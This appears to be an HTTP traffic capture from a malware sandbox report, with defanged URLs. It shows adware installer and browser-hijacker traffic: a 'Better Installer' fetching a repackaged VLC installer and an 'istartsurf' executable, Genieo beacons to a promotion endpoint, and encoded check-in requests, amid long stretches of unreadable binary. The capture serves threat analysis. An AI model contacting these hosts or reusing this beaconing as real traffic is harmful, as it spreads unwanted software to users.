o.J2.........}&9...a......<4rZeZ.i3...E..t....>.e..({..9O...L...
..I...E.;..#...}1....J.t.3$...Q....L>..... a...........q.......1;..
\S"...\..CC...ubLj...}..iC>..w.....D...$..R.P...._u-9.6..65l.FJ..v.
.x..&.TM[.Y%....W.GQ}F... nxmX..|..%[email protected]....(;....=..].8.h9...
I...^..h"@t.V;u.r.O.M...(.}N.....2..6..Y!.p..P..k.jX.........<$....
.N..>..8...\a......&O.VJ;....]."P.......v3...b.@ ...K. ..co.{.;...O
....Ku......5..$....e"...v4........jk.K{.U.}.:..q..d}...zh.H#.O.a....]
r.P........Xh.L.......L.........M.C.....v.&.."x^.?..S...F.KI..(......?
G...f..G^..^...........J.....a..]F.F....2.,.62.j..?/........=2..V..u..
..^.l-...;.jW..sL..Z..)..jc.6.Oa.v.?.......OG.{e_..J....OP.w..:.7S<<< skipped >>>

GET /32062.ashx?e=NdvkYMTo1KuidLNtGGzWYUmfPxKtzbEM1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/YjEtyH551f3QZEFRPhzYVXf1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv/jLj1QsAUMm T/icuQB LEOpmbziZmW1eQRE0cF7lrf/k6YQPAn cmB5nIkMjph0BJ7ytXtOq9SKV0xCpDcC6ECkfAR9QM72jz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiTPEXbtvYnN3qmqBW5XL7l9IYL8x1ybsb4FXLrRIVqTq10EZsxP4trEIkQsYPNggSlJQe0vxDLEzDsdDpQ6tGYWyi3WOveHTxm7k0HmXcf88Sy wW7Vv/w4xBfpeCLMatvuksb7LC7IaCnTaHRnGMLB0lcfia15nl0eFK1c7Xfl6fqJvtbGSe/nXBYmj vXd E7kNQwB4lhRWxdc2tTwxuylfDB3e3gQ 62ls PLHCLAiYA14BsUXG3T8yBNq2sRxCVpHDePMpxXW5lnk56ZrbzLXG8vRwSIBeLTSE/VuVWrYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: Apache

Vary: Host

Last-Modified: Tue, 12 May 2015 22:35:09 GMT

Accept-Ranges: bytes

ntCoent-Length: 1029

Content-Type: text/plain

Cache-Control: private

Content-Encoding: gzip

Content-Length: 371

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:57 GMT

X-Varnish: 1563556324

Age: 0

Via: 1.1 varnish

X-Cache: MISS

X-API-Version: 5-4

X-PageType: legacy

Connection: close

Set-Cookie: RMID=007f01013f4655567b99000b;Path=/; Domain=.nytimes.com;Expires=Sat, 14 May 2016 23:04:57 UTC
...........SMo.0... 8#Q.v..4...&.....6Z.T...~...D...N._...gg...X...t6Y
Z....P3.]i......G.C..h-.\.E`.....%/.G(.K..j.SF..N..HR.[K.%..B..M..q..A
 ....]...4f.k..a.`[email protected]...#.........;....;e..
`.......Yz.Eo...pD.1..N...8...7.<PS...!)4P9.;....Y......?..'...[.|:
_o..}e)......R....d.6z,.<L.0B...i-.....n.2.\..F.|.|.1..p....[T.7z..
c......{ .....i....o.p.......

GET /cnnnext/dam/assets/150513133203-17-amtrak-pa-0513-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 54036

Cache-Control: max-age=676

Expires: Fri, 15 May 2015 23:16:21 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..Y..........................!..1A."Qa.q...#2..B...$3R.br....4...%....
.....&5CDGSTcdes....................................3.................
......!.1AQ.."2a.q.......#B..4R.............?..^-N...........a.@<..
&.u(...u?.b....3Q......r...]M.......}[email protected].<....X...B........8...7.
....T.e......l......../|).<0..........Q.&. ...|P.%.'d%@[.p.P$-.$tR.
[...G...F0.......pTK.>.r..V...} .j.....C`.......#.eS.^i......S..,n.
..X.0....LV...|DO..._.....)Q. .r.<.G..U...K..dUp...J....S.>>J
m.1...? ...F.a..O......P.Yw2..&e.H........%......P .'.*..%..q-.[._.nUq
.6.............Z.U.U*.4B.Hj.U........fS%..a..R.nk.!..R.@.. |...I&...=.
...|.O.f...{u............N I)...:_t.....t...x].*..i.4.Z...XKj.<..a.
I.;.G./...b...i...'.......5.. [email protected]..'4p.5f......r.4....M...WR..
..........7V.HT.'...,.............T.....?w.....o......1.p.-..C....ihT&
.U.Jn..Q.RN...lq...&uS.%9.J,=6.P..vh*#.R.....;a.............X...P.S.F.
..........z.M........r.^YQ.u.E.o7......R............vl%<.J.x&.a.)..
H...q`  ..Z....-^.;........x.....3....L..|&...8...cP...*.kHi..,%.3.R.T
... ..8.~n.s.......r.}...D...$Xw...W....s....p<U..Hu..j.....) U...w
.....:..Q.)K\..y..m..#.... .y".....!.2...S.*NDe.............m...-.E...
47j1........m...#.........1.YDt.h...q...[..^J.!D....G.... [email protected]..!
...%)...s.. [email protected]<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=16972771-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 5657590

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 16972771-22630360/22630361
.....N......A....r.....]...w. ,.>..,.U.....2m..p.p^i.c..v.0....lIB.
......nk....j{E.....d..1..:z....hx....:n.Z5..$.E.....X\.u.~....o.>o
@.D..k.UF_.S..M......."...R.,h{g|..E}.....?h.......|...Z..j#6...Z...e.
.z.....3...Vy(!......|4...[...S e.....]."W:...|........nk....A..1..e.&
gt;=^.....\.......4i. Y'b.....7...3H2.S..5.v..A.....m..4.AQw..%..E..98
. f.* .;......*.Y....y.E[.Fj..x._...y....7...K!Jk.......?2..S.m[....XC
E..g&V......iP..(.zf......=....)k.qq,[email protected]......... ..7.$
.u$...`...k.......c.M..^...*....A.1d9....L..6.......S...&.o..9.....9..
*.R.k..^.. ..\!...[..:..6<(..=.&.....Y.....<3D.......b.....|."R.
............t.Q.bD.?W......e:..\z.z..D..V...5eL\.6.!/....U..Y9.U[.....
..1..Mf.^.<.0....B...L..a. [email protected]....!..(.
Pb..0^....[...I&k.w.UT.!x.4../.R2b.q8..gvc0.....-..][email protected]....~. .
`....p...\N.....~..k...-..A....f.)d..).X...}...X....V..YB....Y.^..K...
#[email protected]....,C.rXut3f...R.......,.$.....Z...5....?e@..~J2.z*k.
....n.. .<4/M.m..{.P|......R../..F_.......o...........1,.....:..Vw.
?...o87.V.....>(.....M..E&.]E...y(u~MA5.......2...!....{L....AK.<
; .Z.~7........HS..UZ...M.....4`~.........IE-.".pL.I. .2RR.}...(......
...3.....fl..g..[...i....(..c.Bj.Xv...T. ....\./.o......d........P7...
B......i H^....W.jt.U....r..r.......V<....8.'w....fE.s.R.}.(.....(0
..y..T.m$.j..y%....~..|.O1$5....zy:..:....v_ .......o\-.2l.S..7y..[.(b
.=.....p%.......`..M]....QM...4..h...7x.-.X ..?Z_8Yy3a.D"...Z..'(A .
..}G..zS......i.h..I.2....;.gDI^[email protected])....Y..g5[j.....}<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=19801566-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 2828795

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 19801566-22630360/22630361
......1..u..1.)A.v.85%....L..{....%.%.J...`.'2.....,..w...........*.$.
,.k.:....8.lA...G..g..".....g5m).J.]..a.._;..............0.t......&.{.
....r..uC....-&..1.V.A.O.Pg..B5.791.ln...Y.ZX Y...x..>.E.F.::.ar..e
.!.C...Sx<b.W......,t=..N........v...D.r.u..$.oy.u.....b..\J......`
[email protected]<,S.......S.p.p"cw. .W.._.........Ct..'.m....y0.
lx..........9k(=Be....$....M..vd.V..........;@...$#j.n<I..W.......t
..G...B.../...........lC.... h.....[.VXU.eAy)RL........K.Ib0...}LA.W..
.FSG..7....0.>j......83.....#J.v.........4..b;o.9..T......$a.....t.
q.'t.J..R.6.........>.@C.... _.........(..e.yC3.4......qkz.. ./$...
..L7|Pa...gRG...Y...^Z..E'.L..d...Wg.$......n$g..0h.......;n.7".N..)r.
.X-t....M......./...."M.u)'^.m.[..3..Dg...r..j..).]..U ..A...U7DlU&u..
H.5}G........K...D6.vm.|{...!rFj.a.k..}..3y.e... ...!#K..'QE8..^....Y.
..h.<..<...3.........U..T......7...[ )jJ.8...>.i..T#.3..O....
D.I.m.)%....O.#...?N|......>[email protected])....3V..].;..2...E.N....S
..y...o..a;..}.%6.%~.....N.<....:Yo..._.M.... \...qe..K..,A%.?.4...
.....H.o..S0 ..j..-........D...{V.Y.d......^..X...|.8/#....7.*....[...
[email protected]. .R..,..a..3P...}.fM..W~..R...7.A.....DB36'..
Q.........K...-..Pp.3.n...(.3.}-u{.........q...%.(...x...djf..o..f..s.
.A'........rw...ZV.l.1e."...p....].>..5..?..D.1..#...0.J..|.1...6..
 K..y!.JB..;8.K.....vbG..C.F.(b.m .G.w.n,.....]e..#".F]@...K..6.&k.."s
C......5.`...-h5.3....>..E.........Vy..?s....A. b...0....9. ...@...
...y6E....Z>.*.l8.'...P.........:.(q.n.N.[...0j.].V.&y).....Voe<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: promotion.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html; charset=UTF-8

Server: Google Frontend

Content-Length: 287

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
.<html><head>.<meta http-equiv="content-type" content="
text/html;charset=utf-8">.<title>404 Not Found</title>.
</head>.<body text=#000000 bgcolor=#ffffff>.<h1>Erro
r: Not Found</h1>.<h2>The requested URL <code>/robot
s.txt</code> was not found on this server.</h2>.<h2>
</h2>.</body></html>.....


GET /admin/items/get_items_to_promotion?numTimesFetched=0&uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: promotion.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:56 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 161

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
[email protected].`o..x3.{.._..%n..9....D&l
t;..q....;.l.e.._..~..1.$$....0.1......V6.?.".^...b..i..o|.0N..H0..Q.-
...?ma.(..*.WN.../..........


HEAD /admin/items/get_items_to_promotion HTTP/1.1

Accept-Encoding: gzip,deflate

Host: promotion.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Content-Length: 197

Date: Fri, 15 May 2015 23:04:56 GMT

Server: Google Frontend

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

....

GET /admin/items/get_items_to_promotion HTTP/1.1

Accept-Encoding: gzip,deflate

Host: promotion.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:56 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 161

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
[email protected].`o..x3.{.._..%n..9....D&l
t;..q....;.l.e.._..~..1.$$....0.1......V6.?.".^...b..i..o|.0N..H0..Q.-
...?ma.(..*.WN.../..........


GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: promotion.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:17 GMT

Expires: Fri, 15 May 2015 23:13:17 GMT

ETag: "s5BfJQ"

Content-Type: image/x-icon

Content-Encoding: gzip

Server: Google Frontend

Content-Length: 1676

Age: 99

Cache-Control: public, max-age=600

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
............iP.G.._k.~q.Lg..Om._...s...A..[...\....x0Z..HP.W.U.<.r.
"........#.E"7.<..@L [email protected]...}..=.}7.....[..#..q.Xp.W..YXh..}.q...
oH.....i..I<^..D..Z.....%..5..........._...n...\.;.B..gi[.......s..
..9....m ._.~.l.~.x<6.kf............)?r._K..J....x.<..::VQ~.....
....HT...........J..xf...&1=.......|~.\j)_C.|.y.l..z.}..${6.|9...[....
....T..O...~.<.......oh.a|...P.'...x..o.....422.>...|...........
7..iD..w..O.r...Mmge.b...?..]...i....TTh0>>m.........6.oi.e>7
..y...!V....ONi...!w..75...{W..Q.. =f./]R...t.z/[..%...}d.BC.......I.^
.lf.....7.......HLj]0.}.........F..l.F...U.X.nr...w#<.........}i...
3..[J..E...0(...A.....M......D.E..k{#[.......^..........j...f#$....Z..
..6x.4.w..... }...... ~\.._........!..r.3.h.....  .uN\.D..C~.bA..7..XJ
.(.._............4)..f..3oM..i.|.....9............9..4.&..w.M.x.x.....
...].gc..ma.....q(-..7e/...?.... .`.......Blz.I.G.........s.....7...p.
....}......f...E..5.H......l........S....G..4.#qSN..'lW..._Vbpl..^~...
.H>....j..3.(2...m...\...G....f............G...d.h.y..i....z.D..xb.
....=H.....}..jp$...A.P.j.;H..{.$.*.*.B^...w58....[.....i.W<...owb.
S.e......m.!-.).>..#.(.....~........Q9...&..k.b...&W..;BTB.[.../...
>/....8..m....P...w.......Va....M........$.L..K.....VVI.....8."wR..
..K.D........r.-.......[.k....l7..~.....`c...gi.q..............*.Se%y.
.T@ ,...m.._....g........v..N..!./..w~<x..................._(|.....
3..................X}}....Q....s..KH.....}|......r.<#m(7.....#.6...
..kr.\].&g.s]...4~..7.;8>...Y(M...E.Jlv,..7X'#0..N[ u..R%..:.."<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=587412-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 83916

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 587412-671327/671328

MMMMMUuzt.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......(... ...@...............................~r......YRO..M"..M"..M".
.O$..S(..S).xH0.~L3.wG0.wH0.rE..xI1..YB.\TP.XRO..K...N!..O"..N"..N"..O
$.xI0.pE..ZSO..h:[email protected][email protected]_]..F...E..
.C...D...E...C...n5..l6..f>...n...s.[TO..L...I...J...I...s-..r...p0
..o1...j..._...k...l...m.ZTO..Y...K...I...w*..v,...h...i..i...Y...S...
{$..z&..x'...e...f..m...k...l...m...n...o...n...j...m...k...q...}....$
...*...*...7...?...D...;[email protected]...
............{...z...{...z...u.........................................
...............!.......$...!...&...'...*... ...-...*.../.../...3...3..
.5...6...5...7...7...8...;...=...?...7...V...p.....^][................
......................................................................
....j..........ttt.```................................................
..................................................................

<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:55 GMT

Server: Apache

Set-Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html); expires=Sat, 14-May-16 23:04:55 GMT; path=/; domain=bbc.co.uk;

Set-Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html); expires=Sat, 14-May-16 23:04:55 GMT; path=/; domain=bbc.co.uk;

Last-Modified: Fri, 06 Sep 2013 09:46:13 GMT

Content-Length: 718

Vary: X-CDN

Keep-Alive: timeout=5, max=794

Connection: Keep-Alive

Content-Type: text/plain

User-agent: *.Disallow: /cgi-bin.Disallow: /cgi-perl.Disallow: /lexaur
us.Disallow: /mpapps.Disallow: /mpsearch.Disallow: /mtk.Disallow: /wea
therbeta.Disallow: /weather/hi/about/newsid_7760000/7760846.stm.Disall
ow: /1/hi/help/8594343.stm .Disallow: /2/hi/help/8594343.stm.Disallow:
 /1/hi/help/8594488.stm.Disallow: /2/hi/help/8594488.stm.Disallow: /1/
hi/uk/1494064.stm.Disallow: /1/hi/health/363959.stm.Disallow: /1/hi/he
alth/4749331.stm.Disallow: /1/hi/england/1678616.stm.Disallow: /1/hi/e
ducation/3826037.stm.Disallow: /1/shared/spl/hi/pop_ups/05/uk_should_t
he_uk_vote_on_the_eu_constitution0/html/8.stm.Sitemap: hXXp://news.bbc
.co.uk/weather/sitemap.xml .Sitemap: hXXp://news.bbc.co.uk/weather/sit
emap_mobile.xml ......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:55 GMT

Server: Apache

Location: hXXp://VVV.bbc.co.uk/news/

Cache-Control: max-age=0

Expires: Fri, 15 May 2015 23:04:55 GMT

Content-Length: 234

Keep-Alive: timeout=5, max=764

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.bbc.co.uk/news/">here</
a>.</p>.</body></html>.HTTP/1.1 301 Moved Permane
ntly..Date: Fri, 15 May 2015 23:04:55 GMT..Server: Apache..Location: h
ttp://VVV.bbc.co.uk/news/..Cache-Control: max-age=0..Expires: Fri, 15 
May 2015 23:04:55 GMT..Content-Length: 234..Keep-Alive: timeout=5, max
=764..Connection: Keep-Alive..Content-Type: text/html; charset=iso-885
9-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html
><head>.<title>301 Moved Permanently</title>.<
/head><body>.<h1>Moved Permanently</h1>.<p>
The document has moved <a href="hXXp://VVV.bbc.co.uk/news/">here
</a>.</p>.</body></html>...

GET /services/xml/rss/nyt/HomePage.xml HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 22:56:09 GMT

If-None-Match: 1431730569000

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: MF2=19hhj9gxbdklf; RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 304 Not Modified

Content-Length: 0

Date: Fri, 15 May 2015 23:05:13 GMT

Content-Type: text/html;charset=UTF-8

Server: FeedsPortal

Connection: close

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx+JOp7hVgTeaGFJ/CQgQUljtT8Hkzl699g+8uK8zKt4YecmYCEDw+Um5Px/ypQy8rxvNMhqU= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: sv.symcd.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1611

content-transfer-encoding: binary

Cache-Control: max-age=434647, public, no-transform, must-revalidate

Last-Modified: Wed, 13 May 2015 23:50:13 GMT

Expires: Wed, 20 May 2015 23:50:13 GMT

Date: Fri, 15 May 2015 23:06:06 GMT

Connection: keep-alive
0..G......@0..<.. .....0.....-0..)0......hb..V.K.4....4....}...2015
0513235013Z0s0q0I0... ...........C%.......`M.....B...;S.y3..}... .....
rf..<>RnO...C/ ..L......20150513235013Z....20150520235013Z0...*.
H.............O.......c...5..C...[.P......=..*..I......T..N....b.....U
... .e.C../o`...FK.T.....s]..M..m...t..z.....Q..3E.]a...., >../J...
.<....Qb..y$]a.........G.T.r....)...S .'...-.W"?G...&...?...UF.ca|d
...p.......pp...W..#.....h8...`..s..X...W..9....4#..&.b.n.J=S[|..b...p
0..l0..h0..P.......<.YU.*4.k$..S.yv0...*.H........0.1.0...U....US1.
0...U....Symantec Corporation1.0...U....Symantec Trust Network100...U.
..'Symantec Class 3 SHA256 Code Signing CA0...150228000000Z..150529235
959Z0A1?0=..U...6Symantec Class 3 SHA256 Code Signing CA OCSP Responde
r0.."0...*.H.............0...........x8Q...........v...S...m.(..kI.8..
...........b6'..a.......W...g...#...d<.M3.......`l..q.(..m...~.I..M
9oz....C.t.#}....T...7..9*..l..d.I.`O.......h:.H..D.....'.N..*>..wu
...H..i..A,.'....9..V....?.._:.d..:.!14...........z.{...$Z.1(b's.#..g.
[email protected]... .....0......0"..U....0...0.1.0...U..
..TGV-B-32130...U.#..0....;S.y3..}... .....rf0...U......hb..V.K.4....4
....}.0...U.......0.0n..U. .g0e0c..`.H...E....0T0&.. .........hXXp://w
ww.symauth.com/cps0*.. .......0...  hXXp://VVV.symauth.com/rpa0...U.%.
.0... .......0...U...........0...*.H...................[....s.n.t.....
X...\....-"X|..g...Hc. X".......T8..E.....cd...4...h.).:g..}...z.7Ha..
....T.m...!.;...f...)g!..P6.q...?e6.sA|......h2.zB.....~....P.$.T.<<< skipped >>>

GET /images/Tokyo/tokyoDownloadManagerStarBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 14776

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:01:30 GMT

Last-Modified: Thu, 14 May 2015 08:30:04 GMT

ETag: "55545d0c-39b8"

Expires: Fri, 15 May 2015 23:11:30 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: Miss from cloudfront

Via: 1.1 de54a1088a73b877616aef55204d9401.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2xGqO6C1ZdCQnE8eXkR5pTE7Z07oZwg3l3pRFLhEu4zE4CtqJBO1eA==
......Exif..II*.................Ducky.......<.....ohXXp://ns.adobe.
com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-
c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf
="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description
 rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRe
f="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://n
s.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1D24F8E8881EE2
1198CD86D7D6AC9399" xmpMM:DocumentID="xmp.did:29C30B4C30E211E3B6D5C5A6
D6BFEE53" xmpMM:InstanceID="xmp.iid:29C30B4B30E211E3B6D5C5A6D6BFEE53" 
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedF
rom stRef:instanceID="xmp.iid:0DC431A6E130E3119606E18898121BA8" stRef:
documentID="xmp.did:1D24F8E8881EE21198CD86D7D6AC9399"/> </rdf:De
scription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"
?>....Adobe.d......................................................
......................................................................
.......................E..............................................
.............................................!.1Aa..U.Qq"..2B......Rbr
..#3......Sc$s...4T..&f'.......................1..!AQq.a...2.....".BRr
#3.4.....C5b...Ss.............?..}...(.(.@[email protected]...........(.([email protected]....
.....(.@[email protected].........(.(.@[email protected].............([email protected]..
..........jE......?...}r..NNlu.S.....\.'..G1=.r....5 o..p...d...3.<<< skipped >>>

GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:44:59 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Fri, 15 May 2015 22:54:59 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 de54a1088a73b877616aef55204d9401.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5pzW5sHTH6AA1-p0yZ5yO22pYnGI9NzepvAY6VdKIAE4ZsrSKizL_A==
139c.............Z.s...... ..4.Z....m......g..........#y.>X|.b:....
....R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....s
U.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou
...l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._
...eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k.
..Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~..
..>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b.
.....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'
.z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q.
..f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[
C#g..].......(c...)~x......................^...y"...}.N.....)....<_
Ve{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....
'..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S.
...Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%
<[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I
68..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.
rgZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6
.P.o...... i.......z.B...9../[email protected]_....2....7.%
